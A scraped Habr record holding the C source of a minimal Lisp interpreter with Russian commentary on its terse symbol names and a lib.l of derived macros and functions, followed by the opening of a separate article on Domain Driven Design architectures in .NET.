int get\_char(FILE \*file, struct file\_pos \*pos) {
int chr = getc(file);
if (chr == '\n')
pos->line++, pos->chr = 1;
else if (chr != EOF)
pos->chr++;
return chr;
}
int next\_char(FILE \*file) {
int chr = getc(file);
ungetc(chr, file);
return chr;
}
int get\_significant\_char (FILE \*file, struct file\_pos \*pos) {
enum { NO\_COMMENT, LINE\_COMMENT, BLOCK\_COMMENT } state = NO\_COMMENT;
int chr;
while (1) {
chr = get\_char(file, pos);
if (state == NO\_COMMENT) {
if (chr == BLOCK\_COMMENT\_CHAR1 &&
next\_char(file) == BLOCK\_COMMENT\_CHAR2) {
get\_char(file, pos);
state = BLOCK\_COMMENT;
continue;
}
if (chr == LINE\_COMMENT\_CHAR)
state = LINE\_COMMENT;
else if (chr != ' ' && chr != '\t' && chr != '\r' && chr != '\n')
return chr;
}
else if (state == BLOCK\_COMMENT) {
if (chr == BLOCK\_COMMENT\_CHAR2 &&
next\_char(file) == BLOCK\_COMMENT\_CHAR1) {
get\_char(file, pos);
state = NO\_COMMENT;
}
else if (chr == EOF)
error(UNEXPECTED\_EOF\_MSG, pos, NULL);
}
else if (state == LINE\_COMMENT) {
if (chr == '\n')
state = NO\_COMMENT;
else if (chr == EOF)
return EOF;
}
}
}
struct s\_expr \*parse\_s\_expr (FILE\*, struct file\_pos\*);
struct s\_expr \*parse\_list (FILE \*file, struct file\_pos \*pos) {
struct s\_expr \*expr, \*rest;
int chr;
chr = get\_significant\_char(file, pos);
if (chr == LIST\_CLOSE\_BRACE\_CHAR)
return NULL;
ungetc(chr, file);
pos->chr--;
expr = alloc\_mem(sizeof(\*expr));
expr->type = DOTTED\_PAIR;
expr->u.pair.first = parse\_s\_expr(file, pos);
rest = expr;
while (1) {
chr = get\_significant\_char(file, pos);
if (chr == LIST\_DOT\_CHAR) {
rest->u.pair.rest = parse\_s\_expr(file, pos);
if (get\_significant\_char(file, pos) != LIST\_CLOSE\_BRACE\_CHAR)
error(BAD\_SYNTAX\_MSG, pos, NULL);
break;
}
else if (chr == LIST\_CLOSE\_BRACE\_CHAR) {
rest->u.pair.rest = NULL;
break;
}
else if (chr == EOF)
error(UNEXPECTED\_EOF\_MSG, pos, NULL);
else {
ungetc(chr, file);
pos->chr--;
rest->u.pair.rest = alloc\_mem(sizeof(\*expr));
rest->u.pair.rest->type = DOTTED\_PAIR;
rest->u.pair.rest->u.pair.first = parse\_s\_expr(file, pos);
rest = rest->u.pair.rest;
}
}
return expr;
}
void read\_escape\_seq (FILE \*file, struct file\_pos \*pos, char \*buf) {
/\* TODO: add support for escape sequences \*/
}
struct s\_expr \*parse\_string (FILE \*file, struct file\_pos \*pos) {
char buf[STRING\_LENGTH\_MAX];
struct s\_expr \*expr;
int chr, i = 0;
while (i < STRING\_LENGTH\_MAX) {
chr = get\_char(file, pos);
if (chr == STRING\_ESCAPE\_CHAR)
read\_escape\_seq(file, pos, buf);
else if (chr == STRING\_DELIMITER\_CHAR)
break;
else if (chr == EOF)
error(UNEXPECTED\_EOF\_MSG, pos, NULL);
else
buf[i++] = chr;
}
expr = alloc\_mem(sizeof(\*expr));
expr->type = STRING;
expr->u.string.ptr = i ? alloc\_mem(i) : NULL;
memcpy(expr->u.string.ptr, buf, i);
expr->u.string.size = i;
return expr;
}
void read\_double (FILE \*file, struct file\_pos \*pos, char \*buf) {
int chr, i = 0, point = -1;
chr = next\_char(file);
if (chr == '+' || chr == '-') {
get\_char(file, pos);
buf[i++] = chr;
}
while (i < NUMBER\_LENGTH\_MAX && isdigit(next\_char(file)))
buf[i++] = get\_char(file, pos);
if (i < NUMBER\_LENGTH\_MAX && next\_char(file) == '.')
buf[point = i++] = get\_char(file, pos);
while (i < NUMBER\_LENGTH\_MAX && isdigit(next\_char(file)))
buf[i++] = get\_char(file, pos);
chr = next\_char(file);
if (i < NUMBER\_LENGTH\_MAX && (chr == 'e' || chr == 'E') && i > point + 1) {
get\_char(file, pos);
buf[i++] = chr;
chr = next\_char(file);
if (i < NUMBER\_LENGTH\_MAX && (chr == '+' || chr == '-')) {
get\_char(file, pos);
buf[i++] = chr;
}
while (i < NUMBER\_LENGTH\_MAX && isdigit(next\_char(file)))
buf[i++] = get\_char(file, pos);
}
if (i && i < NUMBER\_LENGTH\_MAX)
buf[i] = 0;
else
error(BAD\_SYNTAX\_MSG, pos, NULL);
}
void read\_int (FILE \*file, struct file\_pos \*pos, int base, char \*buf) {
int chr, i = 0;
assert(base == 8 || base == 16);
for (; i < NUMBER\_LENGTH\_MAX; get\_char(file, pos)) {
chr = next\_char(file);
if ((base == 16 && isxdigit(chr)) || (chr >= '0' && chr <= '7'))
buf[i++] = chr;
else
break;
}
if (i && i < NUMBER\_LENGTH\_MAX)
buf[i] = 0;
else
error(BAD\_SYNTAX\_MSG, pos, NULL);
}
struct s\_expr \*parse\_number (FILE \*file, struct file\_pos \*pos) {
char buf[NUMBER\_LENGTH\_MAX + 1];
struct s\_expr \*expr;
int inum;
expr = alloc\_mem(sizeof(\*expr));
expr->type = NUMBER;
switch (next\_char(file)) {
case NUMBER\_FORMAT\_HEX\_CHAR:
get\_char(file, pos);
read\_int(file, pos, 16, buf);
sscanf(buf, "%x", &inum);
expr->u.number = inum;
break;
case NUMBER\_FORMAT\_OCT\_CHAR:
get\_char(file, pos);
read\_int(file, pos, 8, buf);
sscanf(buf, "%o", &inum);
expr->u.number = inum;
break;
default:
read\_double(file, pos, buf);
sscanf(buf, "%lf", &expr->u.number);
break;
}
return expr;
}
struct s\_expr \*parse\_symbol (FILE \*file, struct file\_pos \*pos) {
char buf[NUMBER\_LENGTH\_MAX + 1];
struct s\_expr \*expr;
int chr, chr2, i = 0;
for (; i < NUMBER\_LENGTH\_MAX; get\_char(file, pos)) {
chr = next\_char(file);
if (chr == BLOCK\_COMMENT\_CHAR1) {
get\_char(file, pos);
chr2 = next\_char(file);
ungetc(chr2, file);
pos->chr--;
if (chr2 == BLOCK\_COMMENT\_CHAR2)
break;
}
if (chr >= '!' && chr <= '~' && chr != LINE\_COMMENT\_CHAR &&
chr != LIST\_OPEN\_BRACE\_CHAR && chr != LIST\_CLOSE\_BRACE\_CHAR &&
chr != LIST\_DOT\_CHAR && chr != STRING\_DELIMITER\_CHAR &&
chr != NUMBER\_PREFIX\_CHAR)
buf[i++] = chr;
else
break;
}
if (i && i < SYMBOL\_LENGTH\_MAX)
buf[i] = 0;
else
error(BAD\_SYNTAX\_MSG, pos, NULL);
if(!strcmp(buf, NIL\_SYMBOL\_STR))
return NULL;
if(!strcmp(buf, TRUE\_SYMBOL\_STR))
return true\_();
expr = alloc\_mem(sizeof(\*expr));
expr->type = SYMBOL;
expr->u.symbol = alloc\_mem(i + 1);
strcpy(expr->u.symbol, buf);
return expr;
}
struct s\_expr \*parse\_s\_expr (FILE \*file, struct file\_pos \*pos) {
struct s\_expr \*expr;
int chr;
chr = get\_significant\_char(file, pos);
switch (chr) {
case EOF:
return NULL;
case LIST\_OPEN\_BRACE\_CHAR:
expr = parse\_list(file, pos);
break;
case STRING\_DELIMITER\_CHAR:
expr = parse\_string(file, pos);
break;
case NUMBER\_PREFIX\_CHAR:
expr = parse\_number(file, pos);
break;
default:
ungetc(chr, file);
pos->chr--;
expr = parse\_symbol(file, pos);
break;
}
return expr;
}
struct l\_env {
char \*symbol;
struct s\_expr \*expr;
struct l\_env \*next;
};
static int do\_trace = 0;
char \*s\_expr\_string (struct s\_expr\*, struct l\_env\*);
void trace\_put (char \*format, struct s\_expr \*expr1, struct s\_expr \*expr2,
struct l\_env \*env) {
if (do\_trace) {
printf("Trace: ");
printf(format, s\_expr\_string(expr1, env), s\_expr\_string(expr2, env));
puts("");
}
}
struct l\_env \*add\_symbol (char \*symbol, struct s\_expr \*expr,
struct l\_env \*env, int append) {
struct l\_env \*new\_env;
new\_env = alloc\_mem(sizeof(\*new\_env));
new\_env->symbol = symbol, new\_env->expr = expr;
if (append)
env->next = new\_env, new\_env->next = NULL;
else
new\_env->next = env;
return new\_env;
}
struct l\_env \* add\_built\_in (int macro, char \*symbol, built\_in bi,
struct l\_env \*env) {
struct s\_expr \*expr = alloc\_mem(sizeof(\*expr));
expr->type = macro ? BUILT\_IN\_MACRO : BUILT\_IN\_FUNCTION;
expr->u.built\_in = bi;
return add\_symbol(symbol, expr, env, 0);
}
int find\_symbol (char \*symbol, struct l\_env \*\*env) {
struct l\_env \*next = \*env;
for (; next; \*env = next, next = next->next)
if (!strcmp(symbol, next->symbol)) {
\*env = next;
return 1;
}
return 0;
}
char \*str\_cat (char \*dest, size\_t dest\_size, char \*src) {
if (strlen(src) > dest\_size - 1 - strlen(dest))
error(STRING\_OVERFLOW\_MSG, NULL, NULL);
return strcat(dest, src);
}
char \*list\_string (struct s\_expr \*list, struct l\_env \*env) {
char buf[S\_EXPR\_LENGTH\_MAX + 1] = { LIST\_OPEN\_BRACE\_CHAR, 0 };
char psep[] = { ' ', LIST\_DOT\_CHAR, ' ', 0 };
char cbrc[] = { LIST\_CLOSE\_BRACE\_CHAR, 0 };
for (; list && list->type == DOTTED\_PAIR; list = list->u.pair.rest) {
if (buf[1])
str\_cat(buf, S\_EXPR\_LENGTH\_MAX + 1, " ");
str\_cat(buf, S\_EXPR\_LENGTH\_MAX + 1,
s\_expr\_string(list->u.pair.first, env));
}
if (list)
str\_cat(str\_cat(buf, S\_EXPR\_LENGTH\_MAX + 1, psep),
S\_EXPR\_LENGTH\_MAX + 1, s\_expr\_string(list, env));
str\_cat(buf, S\_EXPR\_LENGTH\_MAX + 1, cbrc);
return strcpy(alloc\_mem(strlen(buf) + 1), buf);
}
char \*string\_string (char \*ptr, size\_t size) {
char \*str = alloc\_mem(size + 3);
str[0] = str[size + 1] = '"';
memcpy(str + 1, ptr, size);
str[size + 2] = 0;
return str;
}
char \*number\_string (double number) {
char \*str = alloc\_mem(NUMBER\_LENGTH\_MAX + 2);
str[0] = NUMBER\_PREFIX\_CHAR;
sprintf(str + 1, "%g", number);
return str;
}
char \*function\_string (struct s\_expr \*expr, int macro, struct l\_env \*env) {
char \*str;
for (; env; env = env->next)
if (env->expr == expr)
break;
str = alloc\_mem((macro ? sizeof(MACRO\_STR\_FORMAT) :
sizeof(FUNCTION\_STR\_FORMAT)) +
(env ? strlen(env->symbol) : 0) - 1);
sprintf(str, macro ? MACRO\_STR\_FORMAT : FUNCTION\_STR\_FORMAT,
env ? env->symbol : "");
return str;
}
char \*s\_expr\_string (struct s\_expr \*expr, struct l\_env \*env) {
if (!expr)
return NIL\_SYMBOL\_STR;
switch (expr->type) {
case DOTTED\_PAIR:
return list\_string(expr, env);
case STRING:
return string\_string(expr->u.string.ptr, expr->u.string.size);
case SYMBOL:
return expr->u.symbol;
case NUMBER:
return number\_string(expr->u.number);
case FUNCTION:
case BUILT\_IN\_FUNCTION:
return function\_string(expr, 0, env);
case MACRO:
case BUILT\_IN\_MACRO:
return function\_string(expr, 1, env);
default:
assert(0);
return NULL;
}
}
int proper\_listp (struct s\_expr \*expr) {
while (expr && expr->type == DOTTED\_PAIR)
expr = expr->u.pair.rest;
return expr == NULL;
}
struct s\_expr \*search\_symbol(struct s\_expr \*list, char \*symbol) {
for (; list && list->type == DOTTED\_PAIR; list = list->u.pair.rest) {
assert(list->u.pair.first->type == SYMBOL);
if (!strcmp(list->u.pair.first->u.symbol, symbol))
return list;
}
return NULL;
}
void check\_fargs (struct s\_expr \*fargs, struct l\_env \*env,
struct file\_pos \*pos) {
struct s\_expr \*rest = fargs;
if (rest && rest->type == DOTTED\_PAIR &&
!rest->u.pair.first && rest->u.pair.rest->type == SYMBOL)
return;
for (; rest && rest->type == DOTTED\_PAIR; rest = rest->u.pair.rest)
if (!rest->u.pair.first || rest->u.pair.first->type != SYMBOL ||
search\_symbol(fargs, rest->u.pair.first->u.symbol) != rest)
error(BAD\_FORMAL\_ARGS\_MSG, pos, s\_expr\_string(fargs, env));
if (rest && (rest->type != SYMBOL || search\_symbol(fargs, rest->u.symbol)))
error(BAD\_FORMAL\_ARGS\_MSG, pos, s\_expr\_string(fargs, env));
}
void check\_aargs (struct s\_expr \*args, int count, int va, struct l\_env \*env,
struct file\_pos \*pos) {
struct s\_expr \*rest = args;
for (; count && rest && rest->type == DOTTED\_PAIR; count--)
rest = rest->u.pair.rest;
if (count || (!va && rest) || !proper\_listp(rest))
error(BAD\_ACTUAL\_ARGS\_MSG, pos, s\_expr\_string(args, env));
}
struct s\_expr \*eval\_list (struct s\_expr\*, struct l\_env\*, struct file\_pos\*);
struct s\_expr \*eval\_s\_expr (struct s\_expr\*, struct l\_env\*, struct file\_pos\*);
#define ARG1(args) args->u.pair.first
#define ARG2(args) args->u.pair.rest->u.pair.first
#define ARG3(args) args->u.pair.rest->u.pair.rest->u.pair.first
struct s\_expr \*trace (struct s\_expr \*args, struct l\_env \*env,
struct file\_pos \*pos) {
struct s\_expr \*expr;
do\_trace = 1;
expr = eval\_list(args, env, pos);
do\_trace = 0;
return expr;
}
struct s\_expr \*quote (struct s\_expr \*args, struct l\_env \*env,
struct file\_pos \*pos) {
check\_aargs(args, 1, 0, env, pos);
return ARG1(args);
}
struct s\_expr \*car (struct s\_expr \*args, struct l\_env \*env,
struct file\_pos \*pos) {
check\_aargs(args, 1, 0, env, pos);
if (ARG1(args) && ARG1(args)->type != DOTTED\_PAIR)
error(NON\_LIST\_MSG, pos, s\_expr\_string(ARG1(args), env));
return ARG1(args) ? ARG1(args)->u.pair.first : NULL;
}
struct s\_expr \*cdr (struct s\_expr \*args, struct l\_env \*env,
struct file\_pos \*pos) {
check\_aargs(args, 1, 0, env, pos);
if (ARG1(args) && ARG1(args)->type != DOTTED\_PAIR)
error(NON\_LIST\_MSG, pos, s\_expr\_string(ARG1(args), env));
return ARG1(args) ? ARG1(args)->u.pair.rest : NULL;
}
struct s\_expr \*cons (struct s\_expr \*args, struct l\_env \*env,
struct file\_pos \*pos) {
struct s\_expr \*expr;
check\_aargs(args, 2, 0, env, pos);
expr = alloc\_mem(sizeof(\*expr));
expr->type = DOTTED\_PAIR;
expr->u.pair.first = ARG1(args);
expr->u.pair.rest = ARG2(args);
return expr;
}
struct s\_expr \*if\_ (struct s\_expr \*args, struct l\_env \*env,
struct file\_pos \*pos) {
check\_aargs(args, 3, 0, env, pos);
return eval\_s\_expr(ARG1(args), env, pos) ?
eval\_s\_expr(ARG2(args), env, pos) :
eval\_s\_expr(ARG3(args), env, pos);
}
struct s\_expr \*function (struct s\_expr \*args, struct l\_env \*env,
struct file\_pos \*pos, int macro) {
struct s\_expr \*expr;
check\_aargs(args, 1, 1, env, pos);
check\_fargs(ARG1(args), env, pos);
expr = alloc\_mem(sizeof(\*expr));
expr->type = macro ? MACRO : FUNCTION;
expr->u.function.expr = args;
expr->u.function.env = env;
return expr;
}
struct s\_expr \*lambda (struct s\_expr \*args, struct l\_env \*env,
struct file\_pos \*pos) {
return function(args, env, pos, 0);
}
struct s\_expr \*macro (struct s\_expr \*args, struct l\_env \*env,
struct file\_pos \*pos) {
return function(args, env, pos, 1);
}
struct s\_expr \*setq (struct s\_expr \*args, struct l\_env \*env,
struct file\_pos \*pos) {
struct s\_expr \*rest = args, \*expr = NULL;
struct l\_env \*senv;
while (rest && rest->type == DOTTED\_PAIR) {
if (ARG1(rest) && ARG1(rest)->type == SYMBOL &&
rest->u.pair.rest && rest->u.pair.rest->type == DOTTED\_PAIR) {
expr = eval\_s\_expr(ARG2(rest), env, pos), senv = env;
if (find\_symbol(ARG1(rest)->u.symbol, &senv)) {
trace\_put("%s => %s [assign]", expr, ARG1(rest), env);
senv->expr = expr;
}
else {
trace\_put("%s => %s [global]", expr, ARG1(rest), env);
add\_symbol(ARG1(rest)->u.symbol, expr, senv, 1);
}
}
else
error(BAD\_ACTUAL\_ARGS\_MSG, pos, s\_expr\_string(args, env));
rest = rest->u.pair.rest->u.pair.rest;
}
if (rest)
error(BAD\_ACTUAL\_ARGS\_MSG, pos, s\_expr\_string(args, env));
return expr;
}
struct s\_expr \*plus (struct s\_expr \*args, struct l\_env \*env,
struct file\_pos \*pos) {
struct s\_expr \*rest = args;
double sum = 0;
while (rest && rest->type == DOTTED\_PAIR && ARG1(rest)->type == NUMBER)
sum += ARG1(rest)->u.number, rest = rest->u.pair.rest;
if (rest)
error(BAD\_ACTUAL\_ARGS\_MSG, pos, s\_expr\_string(args, env));
rest = alloc\_mem(sizeof(\*rest));
rest->type = NUMBER;
rest->u.number = sum;
return rest;
}
struct s\_expr \*greater (struct s\_expr \*args, struct l\_env \*env,
struct file\_pos \*pos) {
struct s\_expr \*rest = args, \*num;
double prev = DBL\_MAX;
while (rest && rest->type == DOTTED\_PAIR) {
num = eval\_s\_expr(ARG1(rest), env, pos);
if (!num || num->type != NUMBER)
error(BAD\_ACTUAL\_ARGS\_MSG, pos, s\_expr\_string(args, env));
if (prev - num->u.number < DBL\_EPSILON)
return NULL;
prev = num->u.number, rest = rest->u.pair.rest;
}
if (rest)
error(BAD\_ACTUAL\_ARGS\_MSG, pos, s\_expr\_string(args, env));
return true\_();
}
struct l\_env \*create\_env () {
struct l\_env \*env = NULL;
env = add\_built\_in(1, TRACE\_SYMBOL\_STR, trace, env);
env = add\_built\_in(1, QUOTE\_SYMBOL\_STR, quote, env);
env = add\_built\_in(0, CAR\_SYMBOL\_STR, car, env);
env = add\_built\_in(0, CDR\_SYMBOL\_STR, cdr, env);
env = add\_built\_in(0, CONS\_SYMBOL\_STR, cons, env);
env = add\_built\_in(1, IF\_SYMBOL\_STR, if\_, env);
env = add\_built\_in(1, LAMBDA\_SYMBOL\_STR, lambda, env);
env = add\_built\_in(1, MACRO\_SYMBOL\_STR, macro, env);
env = add\_built\_in(1, SETQ\_SYMBOL\_STR, setq, env);
env = add\_built\_in(0, PLUS\_SYMBOL\_STR, plus, env);
env = add\_built\_in(1, GREATER\_SYMBOL\_STR, greater, env);
return env;
}
struct s\_expr \*map\_eval (struct s\_expr \*list, struct l\_env \*env,
struct file\_pos \*pos) {
struct s\_expr \*expr = NULL, \*rest;
while (list) {
if (list->type != DOTTED\_PAIR)
error(NON\_LIST\_MSG, pos, s\_expr\_string(list, env));
if (expr) {
rest->u.pair.rest = alloc\_mem(sizeof(\*expr));
rest = rest->u.pair.rest;
}
else
expr = rest = alloc\_mem(sizeof(\*expr));
rest->type = DOTTED\_PAIR;
rest->u.pair.first = eval\_s\_expr(list->u.pair.first, env, pos);
list = list->u.pair.rest;
}
if (expr)
rest->u.pair.rest = NULL;
return expr;
}
struct l\_env \*apply\_args (struct s\_expr \*fargs, struct s\_expr \*aargs,
struct l\_env \*env, struct file\_pos \*pos) {
struct s\_expr \*rest = aargs;
if (!fargs || fargs->u.pair.first)
while (fargs && fargs->type == DOTTED\_PAIR) {
if (!rest || rest->type != DOTTED\_PAIR)
error(BAD\_ACTUAL\_ARGS\_MSG, pos, s\_expr\_string(aargs, env));
assert(fargs->u.pair.first->type == SYMBOL);
trace\_put("%s => %s [local]", rest->u.pair.first,
fargs->u.pair.first, env);
env = add\_symbol(fargs->u.pair.first->u.symbol,
rest->u.pair.first, env, 0);
fargs = fargs->u.pair.rest, rest = rest->u.pair.rest;
}
else
fargs = fargs->u.pair.rest;
if (fargs) {
assert(fargs->type == SYMBOL);
if (rest && !proper\_listp(rest))
error(BAD\_ACTUAL\_ARGS\_MSG, pos, s\_expr\_string(aargs, env));
trace\_put("%s => %s [local]", rest, fargs, env);
env = add\_symbol(fargs->u.symbol, rest, env, 0);
}
else if (rest)
error(BAD\_ACTUAL\_ARGS\_MSG, pos, s\_expr\_string(aargs, env));
return env;
}
struct s\_expr \*eval\_list (struct s\_expr \*list, struct l\_env \*env,
struct file\_pos \*pos) {
struct s\_expr \*expr = NULL, \*rest = list;
for (; rest && rest->type == DOTTED\_PAIR; rest = rest->u.pair.rest)
expr = eval\_s\_expr(rest->u.pair.first, env, pos);
if (rest)
error(NON\_LIST\_MSG, pos, s\_expr\_string(list, env));
return expr;
}
struct s\_expr \*eval\_s\_expr (struct s\_expr \*expr, struct l\_env \*env,
struct file\_pos \*pos) {
struct s\_expr \*first, \*in = expr;
struct l\_env \*benv;
trace\_put("%s -> ...", in, NULL, env);
if (expr)
if (expr->type == SYMBOL)
if (find\_symbol(expr->u.symbol, &env))
expr = env->expr;
else
error(UNBOUND\_SYMBOL\_MSG, pos, expr->u.symbol);
else if (expr->type == DOTTED\_PAIR) {
first = eval\_s\_expr(expr->u.pair.first, env, pos);
if (!first || first->type == DOTTED\_PAIR || first->type == SYMBOL ||
first->type == STRING || first->type == NUMBER)
error(NON\_FUNC\_MACRO\_MSG, pos, s\_expr\_string(first, env));
expr = first->type == FUNCTION || first->type == BUILT\_IN\_FUNCTION ?
map\_eval(expr->u.pair.rest, env, pos) : expr->u.pair.rest;
if (first->type == FUNCTION || first->type == MACRO) {
assert(first->u.function.expr->type == DOTTED\_PAIR);
benv = apply\_args(first->u.function.expr->u.pair.first, expr,
first->u.function.env, pos);
expr = eval\_list(first->u.function.expr->u.pair.rest, benv, pos);
if (first->type == MACRO) {
trace\_put("%s ~> %s", in, expr, env);
expr = eval\_s\_expr(expr, env, pos);
}
}
else
expr = first->u.built\_in(expr, env, pos);
}
trace\_put("%s -> %s", in, expr, env);
return expr;
}
struct s\_expr \*eval\_file (char \*filename, struct l\_env \*env) {
struct file\_pos pos, prev\_pos;
struct s\_expr \*expr;
FILE \*file;
int chr;
file = fopen(filename, "r");
if (!file) {
printf("Failed to open file '%s'\n", filename);
exit(1);
}
pos.filename = filename, pos.line = pos.chr = 1;
expr = NULL;
while (1) {
chr = get\_significant\_char(file, &pos);
if (chr == EOF)
break;
ungetc(chr, file);
pos.chr--, prev\_pos = pos;
expr = eval\_s\_expr(parse\_s\_expr(file, &pos), env, &prev\_pos);
}
fclose(file);
return expr;
}
int main (int argc, char \*argv[]) {
struct l\_env \*env;
if (argc != 2) {
puts("Usage: int source");
exit(1);
}
env = create\_env();
puts(s\_expr\_string(eval\_file(argv[1], env), env));
return 0;
}
```
Я решил ввести более лаконичные названия для базовых и произвольных функций и макросов. В классическом LISP (и, особенно, в Common Lisp) меня немного напрягает многословность базовых примитивов. С одной стороны, я не хотел усложнять парсер, потому quote и backquote синтаксис им не поддерживается, только скобочная нотация. С другой стороны, стремился компенсировать избыточную скобочность широким использованием специальных символов для лаконичности. Кому-то это покажется весьма спорным решением.
Имена я старался подбирать в соответствии с их ассоциативным рядом:
* **\_** — заменяет **nil**
* **!** — заменяет **lambda**
* **#** — аналогично **!**, но объявляет безымянный макрос
* **?** — заменяет **if** с обязательным третим параметром
* **^** — заменяет **cons**
* **@** — заменяет **car**
* **%** — заменяет **cdr**
* **=** — заменяет **setq**
Соответственно, имена производных функций и макросов во многом стали производными от имён базовых:
* **!!** — заменяет **defun**
* **##** — заменяет **defmacro**
* **^^** — заменяет **list**
* **@%** — заменяет **cadr**
* **%%** — заменяет **cddr**
* **:** — заменяет **let** для одной переменной
* **::** — заменяет **let** без избыточных скобок
* **&** — заменяет **and**
* **|** — заменяет **or**
Теперь рассмотрим производные определения. Вначале определим базовые сокращения:
```
(= @% (! (list) (@ (% list)))) ; cadr
(= %% (! (list) (% (% list)))) ; cddr
(= ^^ (! (_ . elts) elts)) ; list
(= ## (# (name fargs . body) ; defmacro
(^^ = name (^ # (^ fargs body)))))
(## !! (name fargs . body) ; defun
(^^ = name (^ ! (^ fargs body))))
```
Обратите внимание на точечную нотацию списка формальных аргументов. Символ после точки захватывает оставшиеся фактические параметры. Случай, когда все аргументы необязательны, описывается специальной нотацией: (\_ . rest-args). Далее определим классический map и два парных разбиения списка:
```
(!! map (func list)
(? list (^ (func (@ list)) (map func (% list))) _))
(!! pairs1 (list) ; (a b c d) -> ((a b) (b c) (c d))
(? (% list) (^ (^^ (@ list) (@% list)) (pairs1 (% list))) _))
(!! pairs2 (list) ; (a b c d) -> ((a b) (c d))
(? list (^ (^^ (@ list) (@% list)) (pairs2 (%% list))) _))
```
Определяем два варианта let:
```
(## : (name value . body) ; simplified let
(^^ (^ ! (^ (^^ name) body)) value))
(## :: (vars . body) ; let without redundant braces
(= vars (pairs2 vars))
(^ (^ ! (^ (map @ vars) body)) (map @% vars)))
```
Классический reverse и левую свёртку:
```
(!! reverse (list)
(: reverse+ _
(!! reverse+ (list rlist)
(? list (reverse+ (% list) (^ (@ list) rlist)) rlist))
(reverse+ list _)))
(!! fold (list func last) ; (fold (' (a b)) f l) <=> (f a (f b l))
(? list (func (@ list) (fold (% list) func last)) last))
```
Теперь логические операторы на основе if:
```
(= t (' t)) ; true constant
(!! ~ (bool) (? bool _ t)) ; not
(## & (_ . bools) ; and
(: and (! (bool1 bool2) (^^ ? bool1 (^^ ? bool2 t _) _))
(fold bools and t)))
(## | (_ . bools) ; or
(: or (! (bool1 bool2) (^^ ? bool1 t (^^ ? bool2 t _)))
(fold bools or _)))
```
И, наконец, операторы сравнения на основе встроенного > (greater):
```
(: defcmp (! (cmp)
(# (_ . nums)
(: cmp+ (! (pair bool)
(^^ & (cmp (@ pair) (@% pair)) bool))
(fold (pairs1 nums) cmp+ t))))
(= == (defcmp (! (num1 num2) (^^ & (^^ ~ (^^ > num1 num2))
(^^ ~ (^^ > num2 num1))))))
(= >= (defcmp (! (num1 num2) (^^ ~ (^^ > num2 num1))))))
(## < (_ . nums) (^ > (reverse nums)))
(## <= (_ . nums) (^ >= (reverse nums)))
```
Обратите внимание, что в последнем блоке определений явно используется замыкание.
**Полный тест файла lib.l**
```
;|
Formal argument list notation:
([{arg1 [arg2 [arg3 ...]] | _} [. args]])
Number notation:
${double | ooctal | hhex} ; $4 $-2.2e3 $o376 $h7EF
Built-in symbols:
_ ; nil
Built-in functions:
@ (list) ; car
% (list) ; cdr
^ (first rest) ; cons
+ (_ . nums)
Built-in macros:
trace (_ . body)
' (expr)
? (cond texpr fexpr) ; if with mandatory fexpr
! (args . body) ; lambda
# (args . body) ; creates anonymous macro
> (_ . nums)
|;
(= @% (! (list) (@ (% list)))) ; cadr
(= %% (! (list) (% (% list)))) ; cddr
(= ^^ (! (_ . elts) elts)) ; list
(= ## (# (name fargs . body) ; defmacro
(^^ = name (^ # (^ fargs body)))))
(## !! (name fargs . body) ; defun
(^^ = name (^ ! (^ fargs body))))
(!! map (func list)
(? list (^ (func (@ list)) (map func (% list))) _))
(!! pairs1 (list) ; (a b c d) -> ((a b) (b c) (c d))
(? (% list) (^ (^^ (@ list) (@% list)) (pairs1 (% list))) _))
(!! pairs2 (list) ; (a b c d) -> ((a b) (c d))
(? list (^ (^^ (@ list) (@% list)) (pairs2 (%% list))) _))
(## : (name value . body) ; simplified let
(^^ (^ ! (^ (^^ name) body)) value))
(## :: (vars . body) ; let without redundant braces
(= vars (pairs2 vars))
(^ (^ ! (^ (map @ vars) body)) (map @% vars)))
(!! reverse (list)
(: reverse+ _
(!! reverse+ (list rlist)
(? list (reverse+ (% list) (^ (@ list) rlist)) rlist))
(reverse+ list _)))
(!! fold (list func last) ; (fold (' (a b)) f l) <=> (f a (f b l))
(? list (func (@ list) (fold (% list) func last)) last))
(= t (' t)) ; true constant
(!! ~ (bool) (? bool _ t)) ; not
(## & (_ . bools) ; and
(: and (! (bool1 bool2) (^^ ? bool1 (^^ ? bool2 t _) _))
(fold bools and t)))
(## | (_ . bools) ; or
(: or (! (bool1 bool2) (^^ ? bool1 t (^^ ? bool2 t _)))
(fold bools or _)))
(: defcmp (! (cmp)
(# (_ . nums)
(: cmp+ (! (pair bool)
(^^ & (cmp (@ pair) (@% pair)) bool))
(fold (pairs1 nums) cmp+ t))))
(= == (defcmp (! (num1 num2) (^^ & (^^ ~ (^^ > num1 num2))
(^^ ~ (^^ > num2 num1))))))
(= >= (defcmp (! (num1 num2) (^^ ~ (^^ > num2 num1))))))
(## < (_ . nums) (^ > (reverse nums)))
(## <= (_ . nums) (^ >= (reverse nums)))
```
Итак, интерпретатор и большая часть примитивов готовы для того, чтобы писать DSL ассемблера. Буду пробовать… | https://habr.com/ru/post/150805/ | null | ru | null |
# Где формируем модель для UI при Domain Driven Design? Сравнение производительности различных архитектурных решений
Рассмотрим с точки зрения производительности варианты размещения логики по заполнению модели для трёх-уровневой и четырёх-уровневой архитектур при использовании различных технологий взаимодействия между уровнями на стеке .NET (Web API, Web API OData, WCF net.tcp, WCF Data Services).
### Преамбула
Часто при автоматизировании чего-либо применяется подход к проектированию ПО на основе **предметной области**, так называемый **Domain Driven Design**. Сутью этого подхода является создание программной модели предметной области, содержащей описание объектов предметной области, их отношений и возможных операций с ними. Наличие такой модели делает удобным автоматизацию сложных бизнес-процессов.
Как писал Фаулер в [«Архитектуре корпоративных программных приложений»](http://www.ozon.ru/context/detail/id/1616782/)
*> Ценность модели предметной области состоит в том, что, освоившись с подходом, вы получаете в свое распоряжение множество приемов, позволяющих поладить с возрастающей сложностью бизнес-логики «цивилизованным» путем.*
Такой подход к проектированию является объектно-ориентированным, поэтому в результате мы получаем набор классов-репозиториев для совершения CRUD и прочих операций над объектами предметной области и DTO для передачи данных этих самых объектов.
Частенько эти классы реализуют как веб сервиса и выделают на отдельный уровень (назовём его AppServer), с которым взаимодействуют различные уровни отображения – вебсервера, мобильные клиенты и т.д. Годную реализацию такого подхода можно посмотреть в курсе Pluralsight [Building End-toEnd Multi-Client Service Oriented Applications](https://www.pluralsight.com/courses/building-multi-client-end-to-end-soa-angular).
